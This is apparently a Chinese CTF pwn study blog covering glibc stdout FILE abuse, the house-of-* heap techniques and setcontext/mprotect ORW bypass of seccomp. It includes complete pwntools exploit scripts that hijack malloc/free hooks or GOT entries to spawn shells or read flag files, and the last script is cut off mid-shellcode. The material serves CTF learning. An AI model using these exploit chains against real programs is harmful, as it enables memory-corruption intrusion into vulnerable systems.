每个程序启动时一般都有三个文件流是自动打开的:stdout,stdin,stderr,每个六都对应一个这个结构体,这三个结构体通过链表的形式组织,通过变量_chain链接,如图

image-20220111192200386

这三个结构体都储存在libc.so的数据段

io_file之_flag

_flag是io_file的第一个变量,他的高两位是由libc决定的,所以不同的libc会有不同的差异,ubuntu16即2.23的前两位是flags = 0xfbad0000,前两位标识这个流是什么文件,低两位字节则标识程序的执行状态,glibc专门宏定义了一些常量,每个常量记录一个执行状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

要判断flag是什么状态就直接与这些常量按位与运算。

puts函数执行流程

puts函数会调用_IO_puts函数,这个函数才完成puts函数的功能,下面是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include "libioP.h"
#include <string.h>
#include <limits.h>
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);

if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (_IO_stdout);
return result;
}

源代码引入了libioP.h库,在代码中使用了_IO_sputn宏,这个宏是 _IO_stdout 的虚表vtable指向的 _xsputn,这里储存着_IO_new_file_xsputn地址,也就是调用了这个函数。

然后这个函数又会调用(如果目标输出数据还有剩余的话)就会通过vtable调用_IO_new_file_overflow,下面是 _IO_new_file_overflow的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}

if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}

其中就调用了 _io_do_write函数,这个函数是系统调用第一个参数是文件流f,第二个参数是输出的起始地址f->_IO_write_base,第三个输出长度f->_IO_write_ptr - f->_IO_write_base,如果事先能够控制io_write_base,那么就能任一地址读了,也就可以leak出libc的地址了。

那么现在就有两个目标要完成,一个是控制io_write_base的地址,第二个是在IO_new_file_overflow函数中如何绕过条件调用io_do_write

绕过_IO_new_file_overflow函数的检查

进入_IO_new_file_overflow函数后会直接用flag与_IO_NO_WRITES常量做与运算,如果结果为真就会报错退出程序,代码如下

1
2
3
4
5
6
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}

要让程序运行下去执行io_do_write就得绕过这个if,让条件为假,这个_IO_NO_WRITES是一个io_file定义的常量,让flag的倒数第四位为0就能保证条件判断为假了,_flags = 0xfbad0000就行

1
#define _IO_NO_WRITES 8 /* Writing not allowd */

第二个检查代码如下

1
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)

条件是检查输出缓存区是否为空,如果为空就进入分支然后分配空间,并且会初始化指针,也包括重置f->_IO_write_base指针,这样的话就算原先布置了f->_IO_write_base指针也会被覆盖,从而无法任意地址写,所以这个条件也得判断为假,这个条件是两个条件或起来的,两个条件都为假才行,f->_IO_write_base == NULL肯定为假,所以通过布置让f->_flags & _IO_CURRENTLY_PUTTING为假就好。

_IO_CURRENTLY_PUTTING常量还是io_file定义的,

1
#define _IO_CURRENTLY_PUTTING 0x800

要使f->_flags & _IO_CURRENTLY_PUTTING为1,flag=0xfbad0800就能实现,这个flag还能绕过一个检查

绕过这两个检查就能顺利进入io_do_wirte函数了,进入这个函数后又会进入io_new_do_write函数,

io_new_do_write函数又会调用new_do_write函数,这个函数最终调用系统调用write函数,前面的函数没啥检查,最后new_do_write还有一些检查,查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

首先会执行一个If分支和一个else if分支,看elseif分支的条件,fp->_IO_read_end != fp->_IO_write_base这个大概率是不相等的,这个分支是不建议进入的,网上有各种原因就不赘述了,要想不进入这个分支那就只能进入If分支了,if分支的条件是fp->_flags & _IO_IS_APPENDING

1
#define _IO_IS_APPENDING 0x1000

只要设置flag=0xFBAD1800就行了。

劫持stdout

据我所知就是爆破,爆破后十六位伪造fd申请stdout.

和houseofroman手法十分类似,其实这种没有leak的题也可以直接houseofroman直接做,不过就是成功率太低了(要爆两次,第二次爆破范围还挺大)。

总结

要利用stdout只要申请到stdout(看脸)然后设置好flag=0xFBAD1800和write_base就好了。

例题 HITCON 2018 PWN baby_tcache

没有show函数,就像前面总结的步骤一步步完成就行(因为脸黑关掉了aslr)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
ogg=[0x4f3d5,0x4f432,0x10a41c]
sh=process('./baby_tcache')
#gdb.attach(sh,'b main')
def add(size,data):
sh.recvuntil('Your choice: ')
sh.sendline('1')
sh.recvuntil('Size:')
sh.sendline(str(size))
sh.recvuntil('Data:')
sh.send(data)

def delete(index):
sh.recvuntil('Your choice: ')
sh.sendline('2')
sh.recvuntil('Index:')
sh.sendline(str(index))

add(0x508-0x10,'aaa')#0
add(0x50,'aaa')#1
add(0x60,'aaa')#2
add(0x70,'aaa')#3
add(0x80,'aaaa')#4
add(0x500-0x8,'cccc')#5
add(0x50,'aaaa')#6
delete(4)
add(0x88,'s'*0x80+'\xe0\x06')
delete(2)
delete(0)
delete(5)
add(0x550,'/bin/sh\x00')#0
delete(4)
gdb.attach(sh)
add(0x70+0x80-0x10,'\x60\xe7')
add(0x68,'a')
add(0x60, p64(0xfbad1800)+p64(0)*3+'\x00')
info=sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')
libc.address=u64(info)-0x3ed8b0
print hex(libc.address)
free_hook=libc.symbols['__free_hook']
add(0x100,p64(free_hook))
add(0x80,'a')
add(0x80,p64(libc.address+ogg[1]))
delete(0)
sh.interactive()

wiki上的house系列

House Of Einherjar

思路:主要还是利用unlink,如果程序可以修改prev_size和prev_inuse,那向后合并的时候就可以指向后面任意一个堆了。(overlap)

House Of Force

思路:利用top_chunk完成任意地址申请,当申请堆时,如果要用top_chunk时,就会比较申请的堆和top_chunk的大小,如果大于的话就会在top_chunk上切割一块下来,假如先修改top_chunk的size为0xffffffffffffffff(比较大小时化作无符号数,因此这个数是最大的),我们再申请一个负数,那最后top_addr=原来的top_chunk的地址减去申请的数,只要计算好确定的offest,就可以把top_chunk挪移到任意地址,然后再申请出来就好了。

例题:HITCON training lab 11

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
sh=process("./pwn")
context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./pwn')
def add(size,content):
sh.recvuntil('Your choice:')
sh.sendline('2')
sh.recvuntil('Please enter the length of item name:')
sh.sendline(str(size))
sh.recvuntil('Please enter the name of item:')
sh.send(content)

def edit(idx,length,content):
sh.recvuntil('Your choice:')
sh.sendline('3')
sh.recvuntil('Please enter the index of item:')
sh.sendline(str(idx))
sh.recvuntil('Please enter the length of item name:')
sh.sendline(str(length))
sh.recvuntil('Please enter the new name of the item:')
sh.sendline(content)

def free(idx):
sh.recvuntil('Your choice:')
sh.sendline('4')
sh.recvuntil('Please enter the index of item:')
sh.sendline(str(idx))

def show():
sh.recvuntil('Your choice:')
sh.sendline('1')


#house of force
add(0x100,'a')#0
add(0x500,'a')#1
add(0x100,'a')#2
add(0x100,'a')#3
edit(0,0x120,'a'*0x100+p64(0)+p64(0x510+0x110+1))
free(1)
add(0x500,'a')
show()
sh.recvuntil('2 : ')
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-88
print hex(libc_base)
edit(3,0x200,'a'*0x100+p64(0)+p64(0xffffffffffffffff))
target_addr=libc_base+libc.sym['__malloc_hook']
add(0x30,'a')#4
add(0xc0,'a')#5
add(0x30,'a')#6
add(0x30,'a')#7
free(6)
free(4)
show()
sh.recvuntil('2 : ')
top_addr=u64(sh.recv(4).ljust(8,'\x00'))+0x80
print hex(top_addr)
atoi_addr=elf.got['atoi']
offset=atoi_addr-top_addr-0x20
print hex(offset)
add(offset,'a')
system=libc_base+libc.sym['system']
add(0x8,p64(system))
sh.recvuntil('Your choice:')
sh.sendline('/bin/sh\x00')
gdb.attach(sh)
sh.interactive()

House of Lore

是针对smallbin的攻击,感觉这个挺好用的,以后可以多试试

思路:当需要从smallbin上面脱掉最后一个链时,需要倒数第二个链和bin进行链表处理,会执行以下代码

1
2
3
4
5
6
7
8
9
10
11
12
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

可见,主要控制bk,然后伪造一个chunk通过bck->fd != victim判断,就可以让一个伪造的chunk进入smallbin

感觉当没开启pie的时候可以完成堆到bss的申请。

House of Orange

思路:当申请的堆的大小大于top_chunk时,top_chunk就会被free掉进入bin,当程序没有free功能时可以利用这个特性完成free_chunk,但一般程序会对申请大小做限制,不会超过top_chunk_size,所以要通过溢出修改top_chunk大小,不过也不能随便修改,得让top_chunk_size+top_chunk_addr是0x1000的整数倍才行。

例题:ductf上的pwn1的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
#sh=process('./main')
sh=remote('47.106.172.144',65001)
context.log_level='debug'
#gdb.attach(sh,'b main')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc=ELF('./libc-2.23.so')
elf =ELF('./main')
ogg=[0x45226,0x4527a,0xf03a4,0xf1247]
def add(count):
sh.recvuntil('> ')
sh.sendline('1')
sh.recvuntil('List count: ')
sh.sendline(str(count))

def show_item(list_id,item_id):
sh.recvuntil('> ')
sh.sendline('2')
sh.recvuntil('List id: ')
sh.sendline(str(list_id))
sh.recvuntil('Item id: ')
sh.sendline(str(item_id))

def overwrite(list_id,star_id,end_id,number):
sh.recvuntil('> ')
sh.sendline('4')
sh.recvuntil('List id: ')
sh.sendline(str(list_id))
sh.recvuntil('Star id: ')
sh.sendline(str(star_id))
sh.recvuntil('End id: ')
sh.sendline(str(end_id))
sh.recvuntil('New number: ')
sh.sendline(str(number))

def edit(list_id,item_id,number):
sh.recvuntil('> ')
sh.sendline('3')
sh.recvuntil('List id: ')
sh.sendline(str(list_id))
sh.recvuntil('Item id: ')
sh.sendline(str(item_id))
sh.recvuntil('New number: ')
sh.sendline(str(number))


add(23)
overwrite(0,23,23,0x1311)
add(0x1400)
add(23)
overwrite(0,29,29,0x50000000)
show_item(2,24)
libc.address=int(sh.recvuntil('\n').split(': ')[1])-libc.symbols['__malloc_hook']-0x10-88
print hex(libc.address)
system=libc.symbols['system']
atoi_got=elf.got['atoi']
print hex(atoi_got)
print hex(system)
overwrite(0,24,24,atoi_got)
overwrite(0,25,25,0x50000000)
edit(1,0,system)
sh.recvuntil('> ')
sh.sendline('/bin/sh\x00')
sh.interactive()

House of Rabbit

以前打比赛遇见过

思路:利用的是fastbin的 malloc consolidate,当申请的堆块的大小大于fasbin的最大值的时候就会触发malloc_consolidat,如果没有使用的话就会把相邻的堆块进行合并,然后放到smallbin上面,合并当然是ublink,无非就是利用prev_size和自身的size来完成合并,只要伪造size就可以完成后面的任意堆合并了。

正常堆块

image-20220111154212459

完成伪造后

image-20220111154245300

然后再申请一个大堆,就完成chunk2和chunk4的合并了,完成overlap

malloc_consolidat不仅可以用来完成overlap,当能申请的堆很小的时候,还可以通过他把小堆合并放到smallbin上面达到leak出libc地址

House of Roman

主要用途,当没有leak函数时通过爆破来完成getshell(感觉要看脸)

前情提要:当一个程序开启pie时虽然基地址是随机的(但随机的很有限),由于是分页管理,所以基地址的最后十二位是0,具体到某一个代码的地址就是基地址加上这个代码的偏移量,如果两个代码的地址不超过0xfff(当然超过也行,别太大就行),就可以通过修改最后十二位来让这个地址指向另一个代码,但是修改数据是8个字节8个字节修改,第十二位到第十六位不清楚,只能采用爆破的方法来猜正确地址,这个攻击手法就利用这个思路。

思路:unsortedbin上面libc地址和malloc_hook地址很接近,可以通过爆破把这个地址改成malloc_hook,然后把这个堆分配到fasbin上面,申请到mallo_hook附近的空间,然后通过unsortedbin_attack把malloc_hook写上libc的地址,然后再通过爆破的方法把这个地址改成ogg,然后触发malloc_hook(申请或者doublefree)完成getShell,这里帖一个别人梳理的具体步骤

image-20220111160730455

例题 new_chall

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
sh=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
ogg=[0x45226,0x4527a,0xf03a4,0xf1247]

def add(size,idx):
sh.recvuntil('3. Free')
sh.sendline('1')
sh.recvuntil('Enter size of chunk :')
sh.sendline(str(size))
sh.recvuntil('Enter index :')
sh.sendline(str(idx))

def edit(idx,content):
sh.recvuntil('3. Free')
sh.sendline('2')
sh.recvuntil('Enter index of chunk :')
sh.sendline(str(idx))
sh.recvuntil('Enter data :')
sh.send(content)

def free(idx):
sh.recvuntil('3. Free')
sh.sendline('3')
sh.recvuntil('Enter index :')
sh.sendline(str(idx))

def pwn():
add(0x18,0)
add(0xa0,1)
add(0x10,2)
edit(1,'a'*0x68+p64(0x41))
free(1)
add(0xa0,3)
add(0x68,4)
add(0x68,5)
add(0x68,6)
add(0x68,13)
free(4)
free(5)
edit(0,'a'*0x18+'\x71')
edit(5,p16(0x7020))
edit(1,p16(0x1aed))
add(0x68,7)
add(0x68,8)
add(0x68,9)
free(13)
edit(13,p64(0))
add(0x100,10)
add(0x20,11)
free(10)
edit(10,'a'*8+p16(0x1b00))
add(0x100,12)
edit(9,'a'*0x13+'\xa4\xd3\xaf')
#gdb.attach(sh)
free(7)
free(7)
sh.interactive()
sh.recvuntil('Enter name :')
sh.sendline('rootzhang')
pwn()

House of Pig

涉及了io_file,暂时不做总结

setcontext+mprotect+orw

摆烂多日的第一次提笔,这篇博客其实想写好久了,但是由于各种原因拖到现在,不说废话了,直接开写。

先细致的讲解一下setcontext和orw

setcontext

一个大概函数一样的东西,主要作用就是把通过它把程序跳转到我门已经设置好的rop上面,使用这个手法的条件有两个,一个是你能跳到这个函数上面(拿到程序流),二是控制了rip,下面是setcontext的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0x00007fc35bf5f1b5 <+53>:	mov    rsp,QWORD PTR [rdi+0xa0]
0x00007fc35bf5f1bc <+60>: mov rbx,QWORD PTR [rdi+0x80]
0x00007fc35bf5f1c3 <+67>: mov rbp,QWORD PTR [rdi+0x78]
0x00007fc35bf5f1c7 <+71>: mov r12,QWORD PTR [rdi+0x48]
0x00007fc35bf5f1cb <+75>: mov r13,QWORD PTR [rdi+0x50]
0x00007fc35bf5f1cf <+79>: mov r14,QWORD PTR [rdi+0x58]
0x00007fc35bf5f1d3 <+83>: mov r15,QWORD PTR [rdi+0x60]
0x00007fc35bf5f1d7 <+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x00007fc35bf5f1de <+94>: push rcx
0x00007fc35bf5f1df <+95>: mov rsi,QWORD PTR [rdi+0x70]
0x00007fc35bf5f1e3 <+99>: mov rdx,QWORD PTR [rdi+0x88]
0x00007fc35bf5f1ea <+106>: mov rcx,QWORD PTR [rdi+0x98]
0x00007fc35bf5f1f1 <+113>: mov r8,QWORD PTR [rdi+0x28]
0x00007fc35bf5f1f5 <+117>: mov r9,QWORD PTR [rdi+0x30]
0x00007fc35bf5f1f9 <+121>: mov rdi,QWORD PTR [rdi+0x68]
0x00007fc35bf5f1fd <+125>: xor eax,eax
0x00007fc35bf5f1ff <+127>: ret
0x00007fc35bf5f200 <+128>: mov rcx,QWORD PTR [rip+0x398c61] # 0x7fc35c2f7e68
0x00007fc35bf5f207 <+135>: neg eax
0x00007fc35bf5f209 <+137>: mov DWORD PTR fs:[rcx],eax
0x00007fc35bf5f20c <+140>: or rax,0xffffffffffffffff
0x00007fc35bf5f210 <+144>: ret

不是跳到setcontext的开头,而是跳到53这个位置,当执行下面的代码后,就可以通过rip给很多寄存器赋值,包括rsp,还能通过rcx控制栈顶信息,操作手法就是先通过rdi+0xa0把rsp指向我们伪造的rop的地址,然后再通过rdi+0xa8让rcx储存ret的地址,然后把ret的地址push到栈上,最后的执行顺序就是这样

1
2
3
4
5
6
7
0x7fe87be4e1ff <setcontext+127>        ret  //自己的ret  

0x7fe87bdfc8aa ret //push rcx

0x7fe87be1d5bf <init_cacheinfo+239> pop rdi//伪造的rop
0x7fe87be1d5c0 <init_cacheinfo+240> ret

然后还可以通过rop再把程序流跳到别的地方,很好玩。

orw

当有些程序被沙箱保护后就不能直接调用system(“/bin/sh”)来拿到权限了,比如这个程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
rootzhang@ubuntu:~/get-shell/tcache/HITCON 2019 one_punch_man$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL

只允许程序调用read,write,open和mprotect这几个我认识的函数,那就只能orw了,不过现在在我看来orw有两种类型,一种是构造rop来完成打印flag,一种是直接构造代码,让他执行orw代码(不过这种需要mprotect协助),调用orw需要通过系统调用来完成,即syscall,每个函数都对应一个调用号,比如open的调用号是2,read的调用号是0,write的调用号是1,调用时对rax赋值就行。

完成前置知识,下面具体题目具体分析

HITCON 2019 one_punch_man

算是复现的最艰难的一道题,除了一些不知道的glibc的特性以外,还因为按照wiki上的思路复现的代码就跑不通,最后自己想出来一个这个笨办法。

源码太长就不看了,主要有四个功能,漏洞是ufa,然后一般情况下只能使用calloc,calloc不能使用tcache上面的堆,其次堆的大小设置为大于0x80,意味着也不能使用fastbin上面的堆,在glibc高版本的情况下使用出fast和tcache的堆拿到程序流很难,好在程序给了后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall sub_15BB(__int64 a1, __int64 a2)
{
void *buf; // [rsp+8h] [rbp-8h]

if ( *(char *)(qword_4030 + 32) <= 6 )
error("gg", a2);
buf = malloc(0x217uLL);
if ( !buf )
error("err", a2);
if ( read(0, buf, 0x217uLL) <= 0 )
error("io", buf);
puts("Serious Punch!!!");
puts(&unk_2128);
return puts(buf);
}

只要让这个地址的数大于6就行,当一个地址的数变大首先想到了unsortedattackbin,但libc.2.27.so已经对unsortedbin上面的堆严加管控,当一个堆脱离时,会严格检查fd和bk,通过wiki得知smallbin配合tcache也可以完成类似的行为,比如先让tcache上面的0x200的bin上六个堆,让smallbin的0x200上面上2个堆,然后申请0x200,首先会分配smallbin上面的一个堆给你,让后把另一个堆脱链放入tcache上面,只要更改后面的bk,让其脱链的时候就可以向bk->fd写入一个地址了,这个地址肯定很大,和unsortedbin的思路很像。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> bins
tcachebins
0x130 [ 6]: 0x55563b0fa850 —▸ 0x55563b0fa720 —▸ 0x55563b0fa5f0 —▸ 0x55563b0fa4c0 —▸ 0x55563b0fa390 —▸ 0x55563b0fa260 ◂— 0x0
0x210 [ 7]: 0x55563b0fb5e0 —▸ 0x55563b0fb3d0 —▸ 0x55563b0fb1c0 —▸ 0x55563b0fafb0 —▸ 0x55563b0fada0 —▸ 0x55563b0fab90 —▸ 0x55563b0fa980 ◂— 0x0
0x220 [ 1]: 0x55563b0fe8f0 ◂— 0x0
0x410 [ 7]: 0x55563b0fd8b0 —▸ 0x55563b0fd4a0 —▸ 0x55563b0fd090 —▸ 0x55563b0fcc80 —▸ 0x55563b0fc870 —▸ 0x55563b0fc460 —▸ 0x55563b0fc050 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x130: 0x55563b0fdf90 —▸ 0x55563b0fbd00 —▸ 0x7f0f0340adc0 (main_arena+384) ◂— 0x55563b0fdf90

注意修改bk的时候也得让fd有意义,不然fd->bk=bk就会不成立

修改完后就可以使用malloc了,哦对当smallbin上的堆进入tcache上面时tcache就会出问题,不能进只能出,所以0x217得先准备好才行。

脚本

网上搜了一圈,没有像我做的这复杂的,我是用mprotect做的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context(os='linux',arch='amd64',log_level = 'debug')
sh=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx,name):
sh.recvuntil('> ')
sh.sendline('1')
sh.recvuntil('idx: ')
sh.sendline(str(idx))
sh.recvuntil("hero name: ")
sh.sendline(name)


def rename(idx,name):
sh.recvuntil('> ')
sh.sendline('2')
sh.recvuntil('idx: ')
sh.sendline(str(idx))
sh.recvuntil("hero name: ")
sh.send(name)

def dock(content):
sh.recvuntil('> ')
sh.sendline('50056')
sh.sendline(content)

def retire(idx):
sh.recvuntil('> ')
sh.sendline('4')
sh.recvuntil("idx: ")
sh.sendline(str(idx))

def show(idx):
sh.recvuntil('> ')
sh.sendline('3')
sh.recvuntil("idx: ")
sh.sendline(str(idx))

for i in range(0,6):
add(0,'a'*0x120)
retire(0)
for i in range(7):
add(0,'a'*0x200)
retire(0)
add(1,'a'*0x210)
add(1,'a'*0x210)
add(1,'a'*0x200)
add(2,'a'*0x200)
retire(1)
show(1)
sh.recvuntil('hero name: ')
libc_addr=u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['__malloc_hook']-0x10-96
print hex(libc_addr)
show(0)
sh.recvuntil('hero name: ')
heap_base=u64(sh.recv(6).ljust(8,'\x00'))-0x720-0xcb0
print hex(heap_base)
add(0,'a'*0xd0)
for i in range(7):
add(0,'a'*0x400)
retire(0)
add(0,'a'*0x400)
add(1,'a'*0x400)
retire(0)
add(1,'a'*0x2d0)
add(1,'a'*0x400)
add(2,'a'*0x217)
retire(2)
gdb.attach(sh)
payload='a'*0x2d0+p64(0)+p64(0x131)+p64(heap_base+0x1d00)+p64(heap_base+0x17+4)
rename(0,payload)
add(0,'a'*0x120)
rename(2,p64(libc_addr+libc.symbols['__free_hook']))
dock('a'*0x100)
setcontext = libc_addr+libc.sym["setcontext"]+53
dock(p64(setcontext))
ret=libc_addr+0x00000000000008aa
pop_rdi=libc_addr+0x215bf
pop_rsi=libc_addr+0x0000000000023eea
pop_rdx=libc_addr+0x0000000000001b96
mprotect_addr=libc_addr+libc.sym['mprotect']
rename(0,'./flag.txt\x00')
flag_addr=heap_base+0x1d10
shellcode = '''
mov rax,{0}
mov rdi, rax
